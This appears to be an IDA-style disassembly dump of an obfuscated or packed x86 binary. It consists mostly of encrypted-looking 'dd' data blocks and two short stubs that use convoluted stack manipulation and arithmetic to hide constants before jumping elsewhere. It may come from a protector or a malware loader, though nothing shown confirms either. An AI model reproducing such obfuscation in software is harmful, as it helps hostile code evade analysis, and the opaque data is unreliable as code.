		dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah,	88321551h
		dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h,	0A70E1566h
		dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh
		dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h,	0F83200D3h
		dd 90AF9863h, 0BB37FA39h, 72F1ECB5h, 982253EDh,	611B28E3h
		dd 82B14D63h, 0DF8F987Ah, 0BC37FC77h, 0AC165165h, 598F98CDh
		dd 8F37FC48h, 35165165h, 35BFBE36h, 41DB0C5Fh, 67616CBh
		dd 0D26CBE4Eh, 79AF9830h, 0BB37FA38h, 0FF95FCB5h, 0CEDFFFFFh
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0AA447DC0h, 0A8ED96A7h
		dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h,	798A152Ah
		dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
		dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
		dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4065DCB7h, 2032DCF1h
		dd 0BA8FFAE0h, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
		dd 0BB61FC38h, 0DF07462Fh, 51479BD6h, 3C6D5h, 5492B85Eh
		dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0D67FBC2Fh
		dd 3C5253B8h, 5E693511h, 0B977DDD0h, 0F4B95163h, 0B575DF79h
		dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh
		dd 83DB5830h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h,	1517FB23h
		dd 25F8957Fh, 0FDF53FD5h, 9A3F31ADh, 0B7342292h, 23AC7ACFh
		dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 7012B93Dh, 0B42FFFA0h
		dd 0C87D7FC0h, 0F305E983h, 8DDB8BA4h, 0EFFCA6BDh, 8D8D8D05h
		dd 0B805F017h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h
		dd 0F2850F49h, 8BFFFFFFh, 4DBD83C0h, 5E916h, 0BD830975h
		dd 5E91121h, 50197400h,	0B8C08B53h, 411h, 5AD8589h, 9D8D05E9h
		dd 5EBB92Bh, 585BD3FFh,	1121BD83h, 740005E9h, 0B8535017h
		dd 411h, 5AD8589h, 9D8D05E9h, 5EBB5CCh,	585BD3FFh, 0F2BBC08Bh
		dd 8D4672A4h, 0F019C58Dh, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0F259960Bh
		dd 0EE434644h, 459D23B7h, 8905E925h, 0E926558Dh, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 14B54477h, 605376A6h, 585C7B2h, 0A005E908h, 900005Bh
		dd 0E90F7995h, 3D85C705h, 5E916h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 956C355h, 0E9018D85h, 7DB5FF05h, 0FF05E925h,	0E90BC595h
		dd 7DCB8105h, 6A10C1A1h, 9595FF00h, 8B05E91Eh, 0E60DEBC0h
		dd 8CEFE606h, 0C9040411h, 28AE13ABh, 8FB704EBh,	5BE93C7Dh
		dd 0E0000005h, 765C79A0h, 8EE0B3Ah, 997F9CCBh, 280E2B5Eh
		dd 9EA2BFEAh, 5306E44h,	9AC102E8h, 2D58977Dh, 0BDF02A10h
		dd 44F2D3A0h, 13390302h, 0C255338Ch, 63275588h,	0F7DDFA25h
		dd 985C8ABDh, 0E8BBEA5Eh, 3CBA5B66h, 6FE6A8D8h,	31E816C9h
		dd 0C96FC383h, 0F355CB16h, 639F6391h, 1420634h,	4573A6E0h
		dd 27EB197Bh, 9F8FBDE8h, 0C3693540h, 95CFD5A0h,	205F4562h
		dd 8AABD8F5h, 0C96F9ADCh, 11AE2416h, 93C1EC2Bh,	39678ECFh
		dd 0D97DE55h, 0A086A3CEh, 6D053366h, 16C96F54h,	134174AEh
		dd 0B8E6114Fh, 2A5192EEh, 403584FCh, 451F365Eh,	63BD80Bh
		dd 0A2943C6Fh, 838C40CFh, 52000000h, 661488C2h,	16C91A20h
		dd 549F7AEh, 8916C91Ah,	0AC4FB113h, 1A99DD8Bh, 6E2516C9h
		dd 0C91AFEC0h, 288A0016h, 793BD38Bh, 0B116C91Ah, 18C8E392h
		dd 1840CFD7h, 1, 5786C2DEh, 0FA296529h,	0C6883657h, 0C416C91Ah
		dd 8B015988h, 377236EEh, 0D712D604h, 0DE406BAAh, 7FB2ECB0h
		dd 73026151h, 906A852Bh, 2EF82651h, 8B195C91h, 7410D14Fh
		dd 0A6F1F4DFh, 20FA2744h, 0C08AB8DFh, 0D0033D23h, 84C285B3h
		dd 0C8F6215Fh, 0AA6E9CFEh, 0DB06456Eh, 1AC48A38h, 54CA16C9h
		dd 75D4C4F2h, 3B66A400h, 0BDE26998h, 8029E241h,	1C563CE3h
		dd 0BAF7BBE9h, 0ED8E5D8Bh, 0DA6D2388h, 488340CFh, 49000000h
		dd 3863A17Bh, 0BDA3400Ah, 0B1195A7Fh, 0C91A4303h, 73D54B16h
		dd 0E21FE311h, 547785B3h, 1A458321h, 0AED917FDh, 4E81BC80h
		dd 0C5B05120h, 0CFD52AE6h, 5F4640h, 0C20C0000h,	672B5984h
		dd 57CFFD28h, 0F9376D08h, 0C283B1CEh, 26681686h, 0A816C91Ah
		dd 50C36E3h, 0DC3E2C98h, 8FB44C7Ah, 2716C9F0h, 16F06D08h
		dd 0B680AED5h, 3D963A19h, 0A47E40CFh, 0B4BF965h, 9316C9C4h
		dd 6A18BB1Dh, 16C9C424h, 769734AAh, 0Dh, 0A927633Dh, 8817B288h
		dd 53F05283h, 0AC5A7B25h, 16C91AEAh, 0FBE17EF4h, 9D618FBEh
		dd 1E023063h, 99D6CEA7h, 0AFEDC76Ah, 740E784h, 0EE9C3FAFh
		dd 1C31F575h, 49781B91h, 0AF12D833h, 0A357391h,	13B012DCh
		dd 2A5D975Bh, 0BAED270Dh, 45B0F48Ch, 33821320h,	0F5286242h
		dd 10377852h, 0D47B18E2h, 5381B4EEh, 0EA28558Fh, 65C791BFh
		dd 8DE84737h, 76B0DD17h, 45125402h, 269C1320h, 184562C4h
		dd 450549F7h, 13891320h, 88C99776h, 68E74526h, 0AD000001h
		dd 6CAD176Fh, 0BE932F6h, 4AACBA0Eh, 4DF0521Ch, 32FF329Fh
		dd 134F291Ch, 4FECB6E4h
		dd 0E92AA86Dh, 0E57B9683h, 0EE04DA35h, 892C8ECCh, 20309BDBh
		dd 4BAD2313h, 6093CEA8h, 26000BC3h, 5685C2E7h, 377157F4h
		dd 0E0BAE704h, 0F5DB789Fh, 22518EBBh, 588792C0h, 2120042Dh
		dd 0EC6BAC6Bh, 780698BAh, 59937916h, 0F834F826h, 9BD79BC9h
		dd 0D303E6Ch, 747F568h,	8713209Ah, 0C827AF11h, 4581B0ADh
		dd 0FD3494DFh, 1B553BD8h, 24ECCBE8h, 3C4526E0h,	40h, 0A6186F02h
		dd 19C15503h, 0D74D16C9h, 0CF7D9EA9h, 16C91A8Fh, 42FC990Fh
		dd 16C91A7Ch, 0B0A1D471h, 6A44E759h, 3562FF2Eh,	0C9191787h
		dd 84A11716h, 9EA6h, 18C6E700h,	16C91A56h, 1745E258h, 6CAD176Fh
		dd 0B5E30A4Bh, 915B89EBh, 73B28C2Fh, 0B3501A48h, 6366586h
		dd 533CB7CDh, 828741DEh, 941C328Bh, 0B6E5F01Eh,	7D877936h
		dd 3953D0B2h, 9BD9FDBAh, 7CB69C39h, 0C462C49h, 0EC13ABD9h
		dd 7E132045h, 0F617462Fh, 20450648h, 16498413h,	1C61EE8h
		dd 23DA5F8Bh, 720F7180h, 21F528Ch, 5E0171C9h, 0F6CF8F3Dh
		dd 59CF1320h, 0C8E18FBCh, 4E19D0DDh, 0ACE6AAD8h, 0F0674B79h
		dd 6A9D885h, 8042A543h,	0FA528B28h, 2039E78Ah, 361C20B5h
		dd 6F75A3C0h, 7C335817h, 5129A30Ah, 0A2B4CEFh, 0C9911A5Ch
		dd 912EA416h, 39BAC2D7h, 0B0DE541Ch, 638ACBA5h,	73A6E0C6h
		dd 88BBF6D0h, 245E44EBh, 362BC3F1h, 225A538h, 0D40E96DFh
		dd 0E824FEA1h, 48751CB9h, 1A37AB19h, 0AB5CECBCh, 50EDFC5Eh
		dd 0C3A946CFh, 92B35689h, 0B473A2E4h, 0C0E7282Ah, 9D55F268h
		dd 4C7BB892h, 0D1B7541Eh, 78EC1496h, 9148F361h,	0A61D012Fh
		dd 689BD5CFh, 0F82B654Bh, 0C0ECAh, 7B4E0000h, 8DE9B84Ch
		dd 13B0170Ah, 82C29E0Ch, 2F692D5Bh, 0CB0ACEFCh,	6DAE72A0h
		dd 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h
		db 75h,	47h, 86h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	3D5Bh
		mov	[esp], ebp
		push	edx
		push	ebx
		mov	ebx, 15940118h
		sub	ebx, 9BC47DCh
		neg	ebx
		not	ebx
		sub	ebx, 292F2496h
		not	ebx
		xor	ebx, 18A772B8h
		mov	edx, ebx
		pop	ebx
		mov	ecx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		sub	dword ptr [esp], 17E428A7h
		pop	dword ptr [ebp+8]
		add	dword ptr [ebp+8], 17E428A7h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5461C3
; ---------------------------------------------------------------------------
		dw 61D6h
		dd 70D628CDh, 96B8E8B5h, 305F01Eh, 0EE0FFC5h, 68181A06h
		dd 0F87CBCCBh, 3A7D6C89h, 0C440D31Bh, 782CCB63h, 0E438A57Dh
		dd 0CA570A45h, 0E03C9CAFh, 526E63B7h, 0E329D68Bh, 541FD70Ch
		dd 9F70A956h, 0AB42C22Ah, 99500D1Dh, 16515EC3h,	0B9789472h
		dd 5F2F2F02h, 0C126189Bh, 51055537h, 0EB27378Dh, 8, 0C0A12700h
		dd 509E970h, 0E7680000h, 0E905F020h, 0FFF96047h, 0F0214968h
		dd 603DE905h, 0D868FFF9h, 0E905F022h, 0FFF96033h, 7B98BFFFh
		dd 0D2A5995h, 9EBBEA27h, 2D4A7DB8h, 0C1DE0947h,	4F8D25BDh
		dd 0E0210724h, 77B69CB9h, 0F492F4Ch, 11F2BFDCh,	39052363h
		dd 7452AB13h, 0B65984C2h, 0EA339387h, 8A27EC49h, 0AFEDC7D2h
		dd 0EF8C5684h, 7F9CCF09h, 0C3833152h, 0C716C932h, 8F055D88h
		dd 0F161B9F2h, 15532D4Eh, 0D6934DEAh, 0E01C3234h, 0F8A6C76Ah
		dd 13203CB6h, 6D25C238h, 203CEDD5h, 0C690A13h, 26F1F19Fh
		dd 33BEF45h, 84B50000h,	47E91843h, 0CFFE3B81h, 3C26D7A1h
		dd 63FDC44h, 0DE0744AEh, 7E48769Dh, 6917BA1Ch, 1C32EF84h
		dd 8F2554CAh, 6647C9FAh, 0E8238DE5h, 5BBD87B5h,	7EBD97B8h
		dd 0BE5B2553h, 0BD6D8304h, 72158BE4h, 0A2E3A351h, 7BEBEBACh
		dd 18E2103Fh, 4A6119B6h, 0BEDF82F2h, 0A2AFEF9Dh, 8BD6EBACh
		dd 28E782D2h, 1AB72D85h, 57195160h, 0C063D9E1h,	2BADF19Fh
		dd 38E6EE45h, 0EE452B76h, 34AA0278h, 56906A97h,	0FFD90623h
		dd 5E6997BEh, 452BEEB0h, 187AF0EEh, 285B957Bh, 0DFB76EF7h
		dd 0C17D7576h, 333h, 57749BDBh,	0E9063571h, 7A97C603h
		dd 9265994h, 9DBAE523h,	33714999h, 0C405EB08h, 5B9A809Dh
		dd 0F32D1330h, 0F5D6A3C0h, 393A0747h, 502E8713h, 3960A17Bh
		dd 6BA4410Bh, 5200A313h, 1C392B98h, 2B05A81Eh, 0BFA5C2EDh
		dd 90285681h, 63B3D471h, 0D4E7BB5h, 0D05384E6h,	1F755C08h
		dd 2D16B27h, 39790000h,	0D30FF512h, 64A187A4h, 0F7321835h
		dd 83C1A7C4h, 0AB373B58h, 89A6D10Fh, 1E3B62A3h,	0B1CEF938h
		dd 415E91CBh, 0A1E59374h, 2D13393Bh, 176FF6D4h,	9E304A7h
		dd 0A36D9BCEh, 2B9E4C06h, 0A2181C39h, 5E6DC74h,	78111339h
		dd 6345F9Eh, 0B6A9F3Ch,	3FCCF0A0h, 15C3E445h, 13390D51h
		dd 294AE75Dh, 1D1h, 5D21CFF0h, 6113390Dh, 274E8FEBh, 0A17B5C8Ah
		dd 0D2013E63h, 0DB78DAA4h, 5A88BBF5h, 0C295C96h, 680B7BD3h
		dd 32233DBAh, 92D1411Ch, 3FD70567h, 13200C03h, 0BBA2D374h
		dd 0CAAEC9Ah, 0BE341320h, 0E709800Dh, 62FFC59Dh, 2681DD83h
		dd 6BD345h, 6F990000h, 0E304A717h, 360887B4h, 0F424AA64h
		dd 16C979B2h, 0FC29C63Ch, 324A554Eh, 983BB11Ch,	6885C977h
		dd 3DB01320h, 0E256906Fh, 13EAE06h, 78DAA4D2h, 0E91823DBh
		dd 6C528FF3h, 0D58F2CEAh, 13203FEDh, 9F0C690Ah,	4526F2F1h
		dd 5214C2E3h, 5C132003h, 0C12849E6h, 0EF000000h, 9FE72EC0h
		dd 0B95C79BEh, 20A94B0Bh, 40DD5313h, 5588C212h,	0FA256327h
		dd 0ADE7C1CCh, 4D884C7Ah, 0C022EC1Ah, 0D0033D23h, 22A4DEA2h
		dd 5D0DAABCh, 4A0CBA41h, 5416C9D8h, 0FD1A7CDEh,	0BD01AFD0h
		dd 4116C9D8h, 6C742ECBh, 0F216C9D4h, 2F6885B8h,	16C467D7h
		dd 1C2F423Dh, 2F50F369h, 4AE71A55h, 0C7012664h,	3A9C6694h
		dd 5180BD97h, 0E9270DB4h, 77F88DBEh, 5F576980h,	142A3h
		dd 83AAEA00h, 15448066h, 0A6D512F8h, 3568A389h,	0C9F43218h
		dd 803AA8ACh, 14FA1742h, 0A98FACD3h, 3C223F6Ah,	0E5B2CF02h
		dd 38105604h, 459E1339h, 62A17B67h, 76B49A37h, 0E482E4Bh
		dd 4A78A3E1h, 0D3011E80h, 275588C2h, 0D9F62963h, 0A4DE48A0h
		dd 17794371h, 0B2164574h, 83401FE5h, 7B81A45h, 0BC831228h
		dd 94C15ED1h, 324389E6h, 0BC5FD51Ch, 417FA4E2h,	0BC1EE816h
		dd 57B3EA19h, 6FC41E92h, 0F2A3DDF9h, 0C865B827h, 0E25B6721h
		dd 3F601320h, 20E2CD91h, 2761D113h, 0FF592F4h, 9F85A2D5h
		dd 4C083661h, 9Bh, 0A7176F8Ch, 14C2E304h, 16C91A52h, 508AE65Ch
		dd 8825EF1Dh, 392B10CEh, 0FA289E1Ch, 0DA88FC36h, 13390594h
		dd 53ABDA16h, 197BA2E3h, 0FDE514B7h, 0DE094CBCh, 1E78E2Bh
		dd 0C2F194C7h, 369D498h, 1CD47151h, 804C684h, 165F82EEh
		dd 421548Eh, 0F764A8D7h, 2FDF61B9h, 3F72AC92h, 0DF124D11h
		dd 1F56CDB1h, 29D74B85h, 66094365h, 7491F369h, 0E927548Eh
		dd 438FCF7Dh, 990F6609h, 739ADB37h, 76197B45h, 0F3E7B55h
		dd 0A7E717E1h, 27660943h, 0A05C14B1h, 3, 0C233A1E0h, 692D5B82h
		dd 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh, 0F9BDEB16h, 9E6290BBh
		dd 3E023063h, 0E0A4D201h, 864775A4h, 0E1A68h, 241C8900h
		dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 68242C89h, 1E7h
		dd 68243489h, 5F01FC3h,	83242C8Bh, 8B5404C4h, 0C4832434h
		dd 8BB5304h, 81000000h,	0A85380EBh, 81F30100h, 0A85380C3h
		dd 5B2B8900h, 5324348Bh, 0C381E389h, 4,	8704C383h, 0FF5C241Ch
		dd 835D2434h, 4CE904C4h, 0D6FFF95Bh, 0B872E8CFh, 5F0243Fh
		dd 0E0FFC503h, 7C14034Fh, 32D9894Fh, 34105B9Dh,	56AB7383h
		dd 5BD1C527h, 4F5B501Eh, 17ED4F9Ch, 3DAF810Ch, 2F78BF62h
		dd 0DCE0F10h, 55A6E38Ah, 7F9A3AADh, 255397B7h, 36179D63h
		dd 7AA837B5h, 3B04E1D9h, 1689A581h, 6A6E7F63h, 7D1D9D1Fh
		dd 4D4D6553h, 6AFFA9FBh, 79CB662Ch, 44D21B26h, 46EA43A8h
		dd 49258ABBh, 16BD05Ah,	65C92F28h, 4A1B9C2Dh, 4A114BEBh
		dd 4C94263Ch, 6B8B04EBh, 8E90AA9h, 88000005h, 1E042148h
		dd 0B096B3E2h, 41274473h, 0D0B6D306h, 464A6792h, 0ADD8169Ch
		dd 4269AA90h, 0D5003F25h, 6598D2B8h, 0EC9A7B48h, 13393FAAh
		dd 0C2FDDB34h, 63275588h, 7D57FA25h, 19E31140h,	225083BDh
		dd 2E14BB58h, 0CF93C1F4h, 29346295h, 46E3124Fh,	0C7F52460h
		dd 6B99C403h, 84469A7h,	654977D9h, 711787EEh, 437D274Eh
		dd 0CE0DF310h, 61A086A3h, 3440836h, 53CAAEDCh, 920C3B22h
		dd 0CDEDF356h, 0ED2C12AFh, 85BFA5C2h, 0B78C2452h, 0FF16C93Dh
		dd 4A1695E0h, 6640CFF0h, 5Eh, 5588C22Ch, 1ACD8F27h, 0E60516C9h
		dd 8D9FCE8Fh, 0EA790055h, 0F9A78623h, 0F740CFF9h, 1, 5786C2BDh
		dd 0FA296529h, 9ACD08CCh, 14435E6Ch, 0F09EC63Dh, 16C9E5AEh
		dd 0CC09BA30h, 98CD6AD7h, 0B15F80DDh, 16C97BEDh, 0F8DE7BF1h
		dd 265993BCh, 87C1A7C4h, 1D87CE05h, 6DCF4809h, 84C22250h
		dd 9E3B80Ah, 1670B911h,	9DB43739h, 6492F456h, 73564A0h
		dd 0A9E6C017h, 49884C7Ah, 0C426F01Eh, 0DA83F227h, 5D9AC300h
		dd 0D436002Eh, 0E8135137h, 37ABE5CBh, 0C981C589h, 0F153C916h
		dd 1FFA1F4Eh, 24D96651h, 0CE0BCF87h, 0D6386BA5h, 3D38D9A8h
		dd 0CFC7B26Eh, 0ACCE40h, 0C2940000h, 672B5984h,	9CDFB2Ah
		dd 0AC709ECDh, 9A12406Fh, 85332A4Bh, 16C91AC1h,	4FF557CDh
		dd 21651334h, 0AD16C91Ah, 10659A37h, 387E2C4Dh,	0C616C91Ah
		dd 89B8F450h, 0EF4915Bh, 0DBCD56D0h, 5F20BB3Ch,	3294F621h
		dd 0FEC06E8Fh, 16C99Eh,	0C1F42E8Ah, 852CC993h, 836619Fh
		dd 0A8D60944h, 6E3D38D9h, 40CF51B2h, 58CEh, 84C29400h
		dd 28672B59h, 1D01BEAEh, 0C9212F6Fh, 8839AF16h,	0B315E877h
		dd 5883C185h, 0F82B662Ah, 2E619Ch, 623C3988h, 20DC0B52h
		dd 0AD14255Dh, 552055F2h, 0C9E6114Fh, 22D46D9Ch
		dd 0E968AB73h, 86C21E4Ch, 0B0912957h, 616C91Ah,	731D8EE7h
		dd 6D40CFD7h, 1, 63A17B33h, 78B59B38h, 36101B49h, 472DCAF9h
		dd 0C8ACDA0Dh, 5F392451h, 7359F621h, 0B1EA0736h, 9846E959h
		dd 1C31F50Bh, 0EB1A5630h, 53F66C4Eh, 78472524h,	0DAAC7E2h
		dd 0D5579155h, 42095332h, 683FF0FAh, 0D919E303h, 0CFFC197Bh
		dd 0EB88BBF5h, 649ECB05h, 0D7390331h, 414F11A9h, 549B1320h
		dd 41C18533h, 8EC91320h, 0B632D5Bh, 0B2C3F895h,	6885B8F2h
		dd 0DBC64882h, 1D4887F1h, 8BD6E96Ch, 5FC1F42Fh,	336D31h
		dd 0C88E3C5Dh, 0D6132078h, 1B0BC360h, 7CAFEAC4h, 0B2E7844Eh
		dd 81C09AC3h, 29642856h, 9CFEC8F6h, 0ACDF19FFh,	0C1F42F09h
		dd 306DC993h, 0DEBD6401h, 4526B532h, 1162Eh, 176FF400h
		dd 0FD5604A7h, 291C3209h, 87C185B3h, 17513754h,	0D1ABB6E4h
		dd 703A6893h, 86B3EDD3h, 21EB194Ch, 4AA191BFh, 0D8063170h
		dd 393C710Eh, 0E1FE316Bh, 26E65E02h, 565245h, 6F180000h
		dd 0E203A618h, 0C91A7234h, 69067C16h, 19188E3Ch, 0BADB16C9h
		dd 0C91A4A0Ch, 82DE5416h, 9B7D1A41h, 1A7036E4h,	87E16C9h
		dd 0ED2903A6h, 29C690BEh, 1A95D971h, 6B0816C9h,	5924530Ah
		dd 0FD5BEC4Eh, 0C639C39h, 0D549F79Ah, 5916C922h, 84E8C6E3h
		dd 28000000h, 4AE54C7Bh, 7F4EDD48h, 0E151A9E2h,	968B903Eh
		dd 66401C32h, 97C60227h, 40B69835h, 0A26B6E9Dh,	614FC3C2h
		dd 0E0010CC4h, 20D36C32h, 5FFC7213h, 0EF0C3F79h, 7EA9E8C2h
		dd 3E98650h, 0D06896C9h, 1320D331h, 0A10372C1h,	0DE173467h
		dd 0C5731686h, 19D13CECh, 0D296C43Ah, 53376598h, 60B899DCh
		dd 0EB8C5CA1h, 0BA165E64h, 4AED4F7Eh, 216DB79Ch, 0D679EF1Ch
		dd 6290BFFCh, 0D449E798h, 262346E4h, 6FB4E289h,	0D504A717h
		dd 5D31FEDAh, 719E3B03h, 0C377650h, 0BD7714DEh,	1C385994h
		dd 232E5CD2h, 2FE00B49h, 4FFC9C51h, 0CAB04D19h,	5A405D90h
		dd 27BFED20h, 1052860Fh, 0D97DE01h, 0DC305FD3h,	0B3F57197h
		dd 77236393h, 35AB1C60h, 710130D3h, 8E71C02Ah, 1E78E2Bh
		dd 0A26694C7h, 0D1FC3A67h, 73A2DFA3h, 4978B511h, 5ED5B9E7h
		dd 0D1538D17h, 6221C0D2h, 17A9B114h, 501FB667h,	987E9BFDh
		dd 41FD2B5Eh, 3, 0C233A181h, 692D5B82h,	0ACEFC2Fh, 0AE72A0CBh
		dd 5418466Dh, 0F9BDEB16h, 9E6290BBh, 3E023063h,	0E0A4D201h
		dd 864775A4h, 5A2568h, 240C8900h, 1DA968h, 24048900h, 52AE68h
		dd 24148900h, 4B83B951h, 0B7B87A0Eh, 18BE1D9h, 240C8BC8h
		dd 8104C483h, 4ECh, 24248900h, 4240481h, 5A000000h, 0C3895355h
		dd 895BDD89h, 0FF5D086Ah, 815A2434h, 4C4h, 24048B00h, 5E08950h
		dd 4, 8704C083h, 0E95C2404h, 0FFF955B7h, 0B855EE31h, 5F029D7h
		dd 0E0FFC503h, 71D5336h, 4175D2C9h, 473FF105h, 3807EBC3h
		dd 70B7C664h, 6ADC6085h, 648009A1h, 33F8F78Bh, 353644BEh
		dd 5E2A91Ah, 3A4981C6h,	151BB378h, 61352786h, 613D4D46h
		dd 5264662Dh, 67C369C9h, 54356A2h, 30BC0CD3h, 22D36FBDh
		dd 4CFDFCACh, 423D4EF3h, 0EB5C2F0h, 474FB3BAh, 0DE8h, 0C1F71C00h
		dd 76B120B9h, 243EFA44h, 0E852AE3Eh, 10h, 9F2AD753h, 4B155321h
		dd 0E05A83BAh, 5C6137C2h, 5F5B5B51h, 13E8565Eh,	25000000h
		dd 0EFAAAEh, 9A66995Bh,	0DA073A8Dh, 7436998Bh, 0AE920B7h
		dd 9A000000h, 1B95900Ah, 0BFB72977h, 815B59D9h,	58D7C6h
		dd 6E900h, 859D0000h, 6D96080h,	1600BAh, 0CE900h, 0AFFA0000h
		dd 84685A7Bh, 0F21B4A1Fh, 36FFB79Eh, 58C9BF0Fh,	0C4AEB81h
		dd 0C0811DF6h, 8255A7Ch, 1FE6F381h, 0C081758Bh,	7FEBF6DBh
		dd 608AC081h, 8B6665D9h, 810689FEh, 0CC5406EEh,	8198B564h
		dd 0CC5402C6h, 830F5064h, 15h, 10E9h, 0B05A3300h, 0F37EDB90h
		dd 0C7F7F2AAh, 1EF0B7C4h, 0EA815997h, 1, 0FFA0850Fh, 69B1FFFFh
		dd 0EDE9h, 8C666000h, 0F04A8D8h, 0DF84h, 0A1B58B00h, 8305E92Eh
		dd 850F00FEh, 22h, 0EE585C6h, 684505E9h, 8E726969h, 2345B5FFh
		dd 858D05E9h, 5EC7A6Fh,	8589D0FFh, 5E91761h, 3E80F08Bh
		dd 31850FE9h, 8D000000h, 0EE7BB685h, 8BD0FF05h,	0E91D19BDh
		dd 84C78105h, 8B000011h, 0E92EA1B5h, 0B9F78705h, 8, 0B58BA4F3h
		dd 5E92EA1h, 2B6B858Dh,	0D0FF05EDh, 3039B58Bh, 0FE8305E9h
		dd 22850F00h, 0C6000000h, 0E90EE585h, 0F4685405h, 0FFFF4EBEh
		dd 0E92345B5h, 6F858D05h, 0FF05EC7Ah, 398589D0h, 8B05E930h
		dd 0E93E80F0h, 3A850Fh,	0B58B0000h, 5E93039h, 7BB6858Dh
		dd 0D0FF05EEh, 1D19BD8Bh, 0C78105E9h, 1184h, 8B08C783h
		dd 0E93039B5h, 0B9F78705h, 8, 0B58BA4F3h, 5E93039h, 2B6B858Dh
		dd 0D0FF05EDh, 858DC361h, 5F02B8Ch, 16D58589h, 4EB05E9h
		dd 47AE0A14h, 4FCE9h, 0CBF23200h, 5D8CC8AEh, 0EE1D5A40h
		dd 7DB0EBD1h, 113C7A60h, 0C8F2F0F4h, 5C425F8Ah,	0F1D7F41Bh
		dd 846A87B2h, 2DFA174Ah, 36D89E4Ch, 8DE61339h, 5588C2AFh
		dd 0FA256327h, 90BDF7DDh, 30FA284Fh, 0A2DCA0CEh, 0D9073A75h
		dd 0BB7FAD0Fh, 1422507Fh, 0E62084F1h, 0F93610B3h, 3326ECAh
		dd 0C76E0BD5h, 0D477A2E1h, 6290BBFAh, 0D2FD3C98h, 963DDAA4h
		dd 184671B0h, 0BEEC1354h, 4B1263DAh, 1A3A7C2Ah,	4EC416C9h
		dd 678CCBB1h, 0B8D1FF26h, 0B789B034h, 0A103651Eh, 31649E84h
		dd 0E11EF803h, 665B15B2h, 9C16C902h, 0E902305Fh, 55666DC7h
		dd 99D7337Dh, 0D26F406Eh, 98C301A3h, 163EA06Ah,	632D7EF7h
		dd 7140CF6Dh, 0FB295C97h, 47739431h, 39000000h,	275588C2h
		dd 0C91ACD8Fh, 8FE60516h, 0CFD7741Ch, 4C866040h, 15B7C19h
		dd 21000000h, 0B45786C2h, 0D06DA0DAh, 0E9185418h, 42B6C46h
		dd 0B0EBAF67h, 1AC88E3Ch, 60D616C9h, 9FC2D0FEh,	6392CED6h
		dd 0F3266046h, 84C2A8D6h, 9BDCB659h, 5B1FD774h,	0D2C2F01Fh
		dd 3366A17Bh, 90146196h, 0C4EF2D52h, 1A337321h,	45BB16C9h
		dd 0A6E0C6E3h, 44814573h, 7718E715h, 0D5F3ADFEh, 900D40CFh
		dd 0D3000000h, 0E862A17Bh, 3B73AFDAh, 0C9F75973h, 3E7C62FFh
		dd 0E421E513h, 5E7987B5h, 0A6CF8F3Dh, 59CF16C9h, 0B6EE87BCh
		dd 0E6195378h, 0BFFFADB8h, 3F16C9A6h, 0CA0B67C9h, 49AB75A3h
		dd 0EA25FF2Ch, 22BF89B7h, 0A5D3FE3Ch, 3C79A6E1h, 0AE7DAB0Dh
		dd 8D43680Dh, 0A340CF69h, 58h, 2453906Ah, 0A893D381h, 0A51B16C9h
		dd 84C2DA08h, 28672B59h, 857CFFDh, 8DF9376Dh, 0C91A9FDFh
		dd 0B0DF1B16h, 0EA60B882h, 643E6B88h, 8CCFA25h,	0A7719FCAh
		dd 0C27AA845h, 91295786h, 16C91AB0h, 0CF8EE706h, 5490B9F5h
		dd 0CB2DF725h, 0D7814F2Eh, 19F40CFh, 65000000h,	671585C2h
		dd 16C91A27h, 2CCF31A7h, 4BE81352h, 1395CF93h, 661457B7h
		dd 16C98B20h, 558738AEh, 0F295F77Bh, 7CAADD18h,	0AF83C371h
		dd 950B16C9h, 0FADE9633h, 4873B18Bh, 0A5FF76ABh, 44AF868h
		dd 8A16C9AFh, 8E30BFC5h, 0D2346384h, 4C265370h,	0D46E30Eh
		dd 0F4A245B5h, 1C31486Fh, 538724Ch, 0E2108668h,	94B1E41Eh
		dd 0C4774AEh, 4674A3DFh, 81BE1A7Ch, 2AC2F052h, 13208266h
		dd 0CCFA2D68h, 0AD5BCB08h, 132082E9h, 0EF1D7FF5h, 0C9D5A0FFh
		dd 5A9872B9h, 9A37012Fh, 5A941065h, 96C4EF2Dh, 674D6ACCh
		dd 8CCFA2Dh
		dd 7D6D9BCEh, 134D571Eh, 3CE4C3E0h, 3445264Fh, 138h, 0A7176FFAh
		dd 14C2E304h, 16C91A52h, 0C2F01758h, 8D2AA0F8h,	32097ED3h
		dd 8F32A81Ch, 2BFEC06Eh, 8A001320h, 377135EDh, 0C701E704h
		dd 68A26694h, 0B8170735h, 7AADE7BDh, 7D87B6D7h,	8913D004h
